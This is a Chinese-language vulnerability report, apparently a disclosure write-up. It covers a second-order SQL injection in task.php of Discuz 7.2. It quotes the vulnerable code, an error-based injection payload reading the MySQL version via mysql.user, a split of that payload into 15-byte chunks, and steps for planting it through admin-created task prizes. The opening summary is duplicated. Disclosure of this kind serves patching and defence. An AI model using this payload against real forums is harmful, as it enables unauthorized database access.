### 简要描述: 第二发 ### 详细说明: 以dz7.2来说,漏洞位于task.php 57行, ``` $query = $db->query("SELECT t.*, mt.csc, mt.dateline FROM {$tablepre}tasks t LEFT JOIN {$tablepre}mytasks mt ON mt.taskid=t.taskid AND mt.uid='$discuz_uid' WHERE $sql AND t.available='2' $newbieadd ORDER BY displayorder, taskid DESC LIMIT $start_limit, $tpp"); while($task = $db->fetch_array($query)) { if($task['reward'] == 'magic') { $magicids[] = $task['prize']; //这里 } elseif($task['reward'] == 'medal') { $medalids[] = $task['prize']; } elseif($task['reward'] == 'group') { $groupids[] = $task['prize']; } ``` 121行, ``` if($magicids) { $query = $db->query("SELECT magicid, name FROM {$tablepre}magics WHERE magicid IN (".implodeids($magicids).")"); //这里 while($magic = $db->fetch_array($query)) { $magics[$magic['magicid']] = $magic['name']; } } ``` $magicids 参数从数据库中tasks表,prize 取出,这里可以二次注入。 tasks->prize的修改插入权限进对后台管理员开放,所以又一次鸡肋了。 但是到了这里还没结束,仔细看一下prize 为char(15),最多只能存储15个字节,崩溃了。。 不过再仔细看一下代码,峰回路转,绝处逢生,柳暗花明。...
### 简要描述: 第二发 ### 详细说明: 以dz7.2来说,漏洞位于task.php 57行, ``` $query = $db->query("SELECT t.*, mt.csc, mt.dateline FROM {$tablepre}tasks t LEFT JOIN {$tablepre}mytasks mt ON mt.taskid=t.taskid AND mt.uid='$discuz_uid' WHERE $sql AND t.available='2' $newbieadd ORDER BY displayorder, taskid DESC LIMIT $start_limit, $tpp"); while($task = $db->fetch_array($query)) { if($task['reward'] == 'magic') { $magicids[] = $task['prize']; //这里 } elseif($task['reward'] == 'medal') { $medalids[] = $task['prize']; } elseif($task['reward'] == 'group') { $groupids[] = $task['prize']; } ``` 121行, ``` if($magicids) { $query = $db->query("SELECT magicid, name FROM {$tablepre}magics WHERE magicid IN (".implodeids($magicids).")"); //这里 while($magic = $db->fetch_array($query)) { $magics[$magic['magicid']] = $magic['name']; } } ``` $magicids 参数从数据库中tasks表,prize 取出,这里可以二次注入。 tasks->prize的修改插入权限进对后台管理员开放,所以又一次鸡肋了。 但是到了这里还没结束,仔细看一下prize 为char(15),最多只能存储15个字节,崩溃了。。 不过再仔细看一下代码,峰回路转,绝处逢生,柳暗花明。 原来,$magicids是从tasks列表中取出的数组,然后又进行implodeids拼接。 没错,快使用双截棍哼哼哈嘿!把sql语句拼接一下。。 利用已经构造好的代码: 1')and(select1 from (select count(*),concat(version(),floor(rand(0)*2))x from mysql.user group by x)a)# 按最大长度15分割: 1')and(select/* */1 from (/* */select/* */count(*)/* */,concat(/* */version(),/* */floor(/* */rand(0)/* */*2))x from/* */mysql.user/* */group/* */by x)a)# 看上去挺不可思议的。测试一下。。。 登录后台,添加任务,这里需要注意三点: 1. 倒序添加 2.选择任务奖励为道具,道具种类需要把select改为input输入以上分割的sql语句(或者抓包改)。 3. 最后一个带有单引号的任务先添加不含有引号的,回到管理界面勾选可用提交后再通过详情加入单引号,否则由于页面sql错误导致无法正常编辑。 保存好以后前台打开 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201407/302335383b8d147423970542d6163f42662da954.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/302335383b8d147423970542d6163f42662da954.jpg)